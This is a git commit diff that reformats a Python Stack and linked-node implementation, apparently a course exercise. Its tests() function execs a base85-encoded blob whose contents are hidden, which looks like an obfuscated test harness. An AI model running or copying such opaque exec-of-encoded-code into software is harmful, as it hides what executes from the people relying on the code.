* 3.9_10 black

This commit is contained in:
Dmitry Belyaev 2024-04-17 11:59:29 +03:00
parent d3ab154609
commit 5ce4f0565f

View File

@ -54,12 +54,12 @@ class StackObj:
@data.setter @data.setter
def data(self, value): def data(self, value):
self.__data = value self.__data = value
def __eq__(self, other): def __eq__(self, other):
if hasattr(other, "data"): if hasattr(other, "data"):
return self.data == other.data return self.data == other.data
return self.data == other return self.data == other
def __ne__(self, other): def __ne__(self, other):
return not self == other return not self == other
@ -71,7 +71,7 @@ class StackObj:
def next(self, value): def next(self, value):
if isinstance(value, (self.__class__, None.__class__)): if isinstance(value, (self.__class__, None.__class__)):
self.__next = value self.__next = value
@classmethod @classmethod
def wrap(cls, value): def wrap(cls, value):
return value if isinstance(value, cls) else cls(value) return value if isinstance(value, cls) else cls(value)
@ -87,7 +87,7 @@ class Stack:
def __init__(self, data=None): def __init__(self, data=None):
self.top = None self.top = None
self.load(data or []) self.load(data or [])
def __iter__(self): def __iter__(self):
obj = self.top obj = self.top
while obj: while obj:
@ -106,12 +106,12 @@ class Stack:
self.top = obj self.top = obj
else: else:
self.bottom.next = obj self.bottom.next = obj
def push_front(self, value): def push_front(self, value):
obj = StackObj.wrap(value) obj = StackObj.wrap(value)
obj.next = self.top obj.next = self.top
self.top = obj self.top = obj
def pop(self) -> StackObj: def pop(self) -> StackObj:
if not self.top: if not self.top:
return None return None
@ -123,14 +123,14 @@ class Stack:
if b == self.top: if b == self.top:
self.top = None self.top = None
return b return b
def load(self, data): def load(self, data):
for x in data: for x in data:
self.push_back(x) self.push_back(x)
def __len__(self): def __len__(self):
return sum(1 for _ in self) return sum(1 for _ in self)
def validate_index(self, idx: int): def validate_index(self, idx: int):
if not isinstance(idx, int) or not 0 <= idx < len(self): if not isinstance(idx, int) or not 0 <= idx < len(self):
raise IndexError("неверный индекс") raise IndexError("неверный индекс")
@ -143,18 +143,18 @@ class Stack:
def __setitem__(self, idx: int, value): def __setitem__(self, idx: int, value):
self.validate_index(idx) self.validate_index(idx)
if idx == len(self): if idx == len(self):
self.push(value) self.push(value)
return return
prev = self.top prev = self.top
for i, v in enumerate(self): for i, v in enumerate(self):
prev = v prev = v
if idx == i: if idx == i:
old = v old = v
break break
value = StackObj.wrap(value) value = StackObj.wrap(value)
value.next = old.next value.next = old.next
if idx > 0: if idx > 0:
@ -167,29 +167,29 @@ class Stack:
def __str__(self): def __str__(self):
return " -> ".join(map(str, self.get_data())) return " -> ".join(map(str, self.get_data()))
def __repr__(self): def __repr__(self):
return f"{self.__class__.__name__}({self.get_data()!r})" return f"{self.__class__.__name__}({self.get_data()!r})"
def tests(): def tests():
code = ( code = (
b'b95j*AX9W<V{0fW3UhQWaCLKNUt(cnYbaB6VPk7gVrnQNF(N4`3UhQWaCLKNUuJS|ZgeP9bYWv' b"b95j*AX9W<V{0fW3UhQWaCLKNUt(cnYbaB6VPk7gVrnQNF(N4`3UhQWaCLKNUuJS|ZgeP9bYWv"
+ b'_Phx5)A~GT=DGCZ<b8}^KbRctdTQFT9Jv|^IG9n;hZe$>HbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk' + b"_Phx5)A~GT=DGCZ<b8}^KbRctdTQFT9Jv|^IG9n;hZe$>HbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk"
+ b'(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf' + b"(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf"
+ b'zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7' + b"zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7"
+ b'Mrq(Ssri3UhQ@FkK)$AR;g#3So0|WpZ>Nb97rUT_8O@AR;g#EFdD#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+f6ijM0J7k08*#(6P~q(6!LI(Sp&"
+ b'7AkezdyU?)Ffzg4`upm=(VPk7gVrn7^3UqRLItm~lARu8NJs@**TQgk>Wq4y{aC9I^Ze(S6MRIa)' + b"7AkezdyU?)Ffzg4`upm=(VPk7gVrn7^3UqRLItm~lARu8NJs@**TQgk>Wq4y{aC9I^Ze(S6MRIa)"
+ b'aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf' + b"aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf"
+ b'Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X' + b"Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X"
) )
exec(__import__('base64').b85decode(code)) exec(__import__("base64").b85decode(code))
if __name__ == "__main__": if __name__ == "__main__":